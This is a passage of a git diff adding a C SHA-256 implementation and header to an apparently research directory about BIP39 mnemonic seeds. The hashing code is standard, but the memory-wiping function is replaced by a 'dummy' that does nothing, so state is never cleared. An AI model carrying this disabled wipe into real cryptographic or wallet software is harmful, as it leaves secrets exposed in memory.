WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ +#include "sha256.h" + +#include +#include +// #include "zeroize.h" + +// dummy +static void zeroize(void* dummy, size_t dummysize) { + // do nothing +} + +static uint32_t be32dec(const void* pp) +{ + const uint8_t* p = (uint8_t const*)pp; + + return ((uint32_t)(p[3]) + ((uint32_t)(p[2]) << 8) + + ((uint32_t)(p[1]) << 16) + ((uint32_t)(p[0]) << 24)); +} + +static void be32enc(void* pp, uint32_t x) +{ + uint8_t* p = (uint8_t*)pp; + + p[3] = x & 0xff; + p[2] = (x >> 8) & 0xff; + p[1] = (x >> 16) & 0xff; + p[0] = (x >> 24) & 0xff; +} + +static void be32enc_vect(uint8_t* dst, const uint32_t* src, size_t len) +{ + size_t i; + for (i = 0; i < len / 4; i++) + { + be32enc(dst + i * 4, src[i]); + } +} + +static void be32dec_vect(uint32_t* dst, const uint8_t* src, size_t len) +{ + size_t i; + for (i = 0; i < len / 4; i++) + { + dst[i] = be32dec(src + i * 4); + } +} + +#define Ch(x, y, z) ((x & (y ^ z)) ^ z) +#define Maj(x, y, z) ((x & (y | z)) | (y & z)) +#define SHR(x, n) (x >> n) +#define ROTR(x, n) ((x >> n) | (x << (32 - n))) +#define S0(x) (ROTR(x, 2) ^ ROTR(x, 13) ^ ROTR(x, 22)) +#define S1(x) (ROTR(x, 6) ^ ROTR(x, 11) ^ ROTR(x, 25)) +#define s0(x) (ROTR(x, 7) ^ ROTR(x, 18) ^ SHR(x, 3)) +#define s1(x) (ROTR(x, 17) ^ ROTR(x, 19) ^ SHR(x, 10)) + +#define RND(a, b, c, d, e, f, g, h, k) \ + t0 = h + S1(e) + Ch(e, f, g) + k; \ + t1 = S0(a) + Maj(a, b, c); \ + d += t0; \ + h = t0 + t1; + +#define RNDr(S, W, i, k) \ + RND(S[(64 - i) % 8], S[(65 - i) % 8], \ + S[(66 - i) % 8], S[(67 - i) % 8], \ + S[(68 - i) % 8], S[(69 - i) % 8], \ + S[(70 - i) % 8], S[(71 - i) % 8], \ + W[i] + k) + +static unsigned char PAD[SHA256_BLOCK_LENGTH] = +{ + 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 +}; + +void SHA256Pad(SHA256CTX* context); +void SHA256Transform(uint32_t state[SHA256_STATE_LENGTH], + const uint8_t block[SHA256_BLOCK_LENGTH]); + +void SHA256_(const uint8_t* input, size_t length, + uint8_t digest[SHA256_DIGEST_LENGTH]) +{ + SHA256CTX context; + SHA256Init(&context); + SHA256Update(&context, input, length); + SHA256Final(&context, digest); +} + +void SHA256Init(SHA256CTX* context) +{ + context->count[0] = context->count[1] = 0; + + context->state[0] = 0x6A09E667; + context->state[1] = 0xBB67AE85; + context->state[2] = 0x3C6EF372; + context->state[3] = 0xA54FF53A; + context->state[4] = 0x510E527F; + context->state[5] = 0x9B05688C; + context->state[6] = 0x1F83D9AB; + context->state[7] = 0x5BE0CD19; +} + +void SHA256Update(SHA256CTX* context, const uint8_t* input, size_t length) +{ + uint32_t bitlen[2]; + uint32_t r = (context->count[1] >> 3) & 0x3f; + + bitlen[1] = ((uint32_t)length) << 3; + bitlen[0] = (uint32_t)(length >> 29); + + if ((context->count[1] += bitlen[1]) < bitlen[1]) + { + context->count[0]++; + } + + context->count[0] += bitlen[0]; + + if (length < 64 - r) + { + memcpy(&context->buf[r], input, length); + return; + } + + memcpy(&context->buf[r], input, 64 - r); + SHA256Transform(context->state, context->buf); + + input += 64 - r; + length -= 64 - r; + + while (length >= 64) + { + SHA256Transform(context->state, input); + input += 64; + length -= 64; + } + + memcpy(context->buf, input, length); +} + +void SHA256Final(SHA256CTX* context, uint8_t digest[SHA256_DIGEST_LENGTH]) +{ + SHA256Pad(context); + be32enc_vect(digest, context->state, SHA256_DIGEST_LENGTH); + zeroize((void*)context, sizeof *context); +} + +/* Local */ + +void SHA256Pad(SHA256CTX* context) +{ + uint8_t len[8]; + uint32_t r, plen; + + be32enc_vect(len, context->count, 8); + + r = (context->count[1] >> 3) & 0x3f; + plen = (r < 56) ? (56 - r) : (120 - r); + + SHA256Update(context, PAD, plen); + SHA256Update(context, len, 8); +} + +void SHA256Transform(uint32_t state[SHA256_STATE_LENGTH], + const uint8_t block[SHA256_BLOCK_LENGTH]) +{ + int i; + uint32_t W[64]; + uint32_t S[8]; + uint32_t t0, t1; + + be32dec_vect(W, block, SHA256_BLOCK_LENGTH); + + for (i = 16; i < 64; i++) + { + W[i] = s1(W[i - 2]) + W[i - 7] + s0(W[i - 15]) + W[i - 16]; + } + + memcpy(S, state, 32); + + RNDr(S, W, 0, 0x428a2f98); + RNDr(S, W, 1, 0x71374491); + RNDr(S, W, 2, 0xb5c0fbcf); + RNDr(S, W, 3, 0xe9b5dba5); + RNDr(S, W, 4, 0x3956c25b); + RNDr(S, W, 5, 0x59f111f1); + RNDr(S, W, 6, 0x923f82a4); + RNDr(S, W, 7, 0xab1c5ed5); + RNDr(S, W, 8, 0xd807aa98); + RNDr(S, W, 9, 0x12835b01); + RNDr(S, W, 10, 0x243185be); + RNDr(S, W, 11, 0x550c7dc3); + RNDr(S, W, 12, 0x72be5d74); + RNDr(S, W, 13, 0x80deb1fe); + RNDr(S, W, 14, 0x9bdc06a7); + RNDr(S, W, 15, 0xc19bf174); + RNDr(S, W, 16, 0xe49b69c1); + RNDr(S, W, 17, 0xefbe4786); + RNDr(S, W, 18, 0x0fc19dc6); + RNDr(S, W, 19, 0x240ca1cc); + RNDr(S, W, 20, 0x2de92c6f); + RNDr(S, W, 21, 0x4a7484aa); + RNDr(S, W, 22, 0x5cb0a9dc); + RNDr(S, W, 23, 0x76f988da); + RNDr(S, W, 24, 0x983e5152); + RNDr(S, W, 25, 0xa831c66d); + RNDr(S, W, 26, 0xb00327c8); + RNDr(S, W, 27, 0xbf597fc7); + RNDr(S, W, 28, 0xc6e00bf3); + RNDr(S, W, 29, 0xd5a79147); + RNDr(S, W, 30, 0x06ca6351); + RNDr(S, W, 31, 0x14292967); + RNDr(S, W, 32, 0x27b70a85); + RNDr(S, W, 33, 0x2e1b2138); + RNDr(S, W, 34, 0x4d2c6dfc); + RNDr(S, W, 35, 0x53380d13); + RNDr(S, W, 36, 0x650a7354); + RNDr(S, W, 37, 0x766a0abb); + RNDr(S, W, 38, 0x81c2c92e); + RNDr(S, W, 39, 0x92722c85); + RNDr(S, W, 40, 0xa2bfe8a1); + RNDr(S, W, 41, 0xa81a664b); + RNDr(S, W, 42, 0xc24b8b70); + RNDr(S, W, 43, 0xc76c51a3); + RNDr(S, W, 44, 0xd192e819); + RNDr(S, W, 45, 0xd6990624); + RNDr(S, W, 46, 0xf40e3585); + RNDr(S, W, 47, 0x106aa070); + RNDr(S, W, 48, 0x19a4c116); + RNDr(S, W, 49, 0x1e376c08); + RNDr(S, W, 50, 0x2748774c); + RNDr(S, W, 51, 0x34b0bcb5); + RNDr(S, W, 52, 0x391c0cb3); + RNDr(S, W, 53, 0x4ed8aa4a); + RNDr(S, W, 54, 0x5b9cca4f); + RNDr(S, W, 55, 0x682e6ff3); + RNDr(S, W, 56, 0x748f82ee); + RNDr(S, W, 57, 0x78a5636f); + RNDr(S, W, 58, 0x84c87814); + RNDr(S, W, 59, 0x8cc70208); + RNDr(S, W, 60, 0x90befffa); + RNDr(S, W, 61, 0xa4506ceb); + RNDr(S, W, 62, 0xbef9a3f7); + RNDr(S, W, 63, 0xc67178f2); + + for (i = 0; i < 8; i++) + { + state[i] += S[i]; + } + + zeroize((void*)W, sizeof W); + zeroize((void*)S, sizeof S); + zeroize((void*)&t0, sizeof t0); + zeroize((void*)&t1, sizeof t1); +} diff --git a/early_research_code/bx_seed_walker_bip39_mnemonic/sha256.h b/early_research_code/bx_seed_walker_bip39_mnemonic/sha256.h new file mode 100644 index 0000000..647e34d --- /dev/null +++ b/early_research_code/bx_seed_walker_bip39_mnemonic/sha256.h @@ -0,0 +1,60 @@ +/* libsodium: crypto_hash_sha256.h, v0.4.5 2014/04/16 */ +/** + * Copyright 2005,2007,2009 Colin Percival. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ +#ifndef LIBBITCOIN_SHA256_H +#define LIBBITCOIN_SHA256_H + +#include +#include + +#define SHA256_STATE_LENGTH 8U +#define SHA256_COUNT_LENGTH 2U +#define SHA256_BLOCK_LENGTH 64U +#define SHA256_DIGEST_LENGTH 32U + +#ifdef __cplusplus +extern "C" +{ +#endif + +typedef struct SHA256CTX +{ + uint32_t state[SHA256_STATE_LENGTH]; + uint32_t count[SHA256_COUNT_LENGTH]; + uint8_t buf[SHA256_BLOCK_LENGTH]; +} SHA256CTX; + +void SHA256_(const uint8_t* input, size_t length, + uint8_t digest[SHA256_DIGEST_LENGTH]); + +void SHA256Init(SHA256CTX* context); +void SHA256Update(SHA256CTX* context, const uint8_t* input, size_t length); +void SHA256Final(SHA256CTX* context, uint8_t digest[SHA256_DIGEST_LENGTH]); + +#ifdef __cplusplus +} +#endif + +#endif